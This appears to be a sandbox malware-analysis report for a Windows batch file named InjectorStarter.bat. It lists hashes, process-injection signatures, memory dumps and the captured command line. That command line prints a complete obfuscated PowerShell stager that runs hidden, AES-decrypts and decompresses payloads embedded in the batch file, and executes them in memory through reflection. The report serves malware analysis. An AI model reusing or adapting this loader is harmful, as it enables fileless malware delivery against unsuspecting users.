609e38e067e3a764cb62d60c911b42d8c617c9ce622afdc308fe09327e248d9c

Analysis

max time kernel
13s
max time network
20s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
14-09-2024 01:32

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

InjectorStarter.bat
Size

167KB
MD5

46d96a835e60ee73339082c3c7eb62cc
SHA1

b9c668ea33db469cd1ed60bd8d31e5347975a72c
SHA256

c11831adced48656b92417fa594e4037d1f42194cd134fef31f52e6cd4b35d4a
SHA512

ca6705fb45e3712004702d903733cfd0dc91b63d0a41a6bb0531e18bedb6c57de8486f4e27aa8fff66c44acbcf2fad6a3b5267e9b69c144df917105e9c257497
SSDEEP

3072:rKTAIOdL6ZlESFX0Wb8s7CqRa8gZbN8/Z2LfvTijJij6wTKGJWD:tlumcVb8sOqRbgA/Cf8+6Sq

Score

1^/10

Malware Config

Signatures

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
1804	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1804	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 2160 wrote to memory of 2732	2160	cmd.exe	30
PID 2160 wrote to memory of 2732	2160	cmd.exe	30
PID 2160 wrote to memory of 2732	2160	cmd.exe	30
PID 2160 wrote to memory of 1804	2160	cmd.exe	31
PID 2160 wrote to memory of 1804	2160	cmd.exe	31
PID 2160 wrote to memory of 1804	2160	cmd.exe	31

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\InjectorStarter.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2160
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /S /D /c" echo cls;powershell -w hidden;function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::FromBase64String('wGRUA3G1Id5Yrl+/tKZd770scSjou27cv5oSvt7BwaQ='); $aes_var.IV=[System.Convert]::FromBase64String('Y2EA3S2a60w++GUnYA46Lg=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $GkmdP=New-Object System.IO.MemoryStream(,$param_var); $hiwNw=New-Object System.IO.MemoryStream; $GuFCf=New-Object System.IO.Compression.GZipStream($GkmdP, [IO.Compression.CompressionMode]::Decompress); $GuFCf.CopyTo($hiwNw); $GuFCf.Dispose(); $GkmdP.Dispose(); $hiwNw.Dispose(); $hiwNw.ToArray();}function execute_function($param_var,$param2_var){ $PazRF=[System.Reflection.Assembly]::Load([byte[]]$param_var); $SUZbj=$PazRF.EntryPoint; $SUZbj.Invoke($null, $param2_var);}$ZeAWF = 'C:\Users\Admin\AppData\Local\Temp\InjectorStarter.bat';$host.UI.RawUI.WindowTitle = $ZeAWF;$dobXh=[System.IO.File]::ReadAllText($ZeAWF).Split([Environment]::NewLine);foreach ($YQfVl in $dobXh) { if ($YQfVl.StartsWith('LUChidbwYzZpSAhDIbmN')) { $UhuSz=$YQfVl.Substring(20); break; }}$payloads_var=[string[]]$UhuSz.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::FromBase64String($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::FromBase64String($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));$payload3_var=decompress_function (decrypt_function ([Convert]::FromBase64String($payloads_var[2].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var $null;execute_function $payload3_var (,[string[]] ('')); "
  2⤵
  PID:2732
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1804

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads

memory/1804-4-0x000007FEF64EE000-0x000007FEF64EF000-memory.dmp

Filesize
4KB

Download
memory/1804-5-0x000007FEF6230000-0x000007FEF6BCD000-memory.dmp

Filesize
9.6MB

Download
memory/1804-6-0x000000001B0D0000-0x000000001B3B2000-memory.dmp

Filesize
2.9MB

Download
memory/1804-7-0x0000000002790000-0x0000000002798000-memory.dmp

Filesize
32KB

Download
memory/1804-8-0x000007FEF6230000-0x000007FEF6BCD000-memory.dmp

Filesize
9.6MB

Download
memory/1804-9-0x000007FEF6230000-0x000007FEF6BCD000-memory.dmp

Filesize
9.6MB

Download
memory/1804-10-0x000007FEF64EE000-0x000007FEF64EF000-memory.dmp

Filesize
4KB

Download
memory/1804-11-0x000007FEF6230000-0x000007FEF6BCD000-memory.dmp

Filesize
9.6MB

Download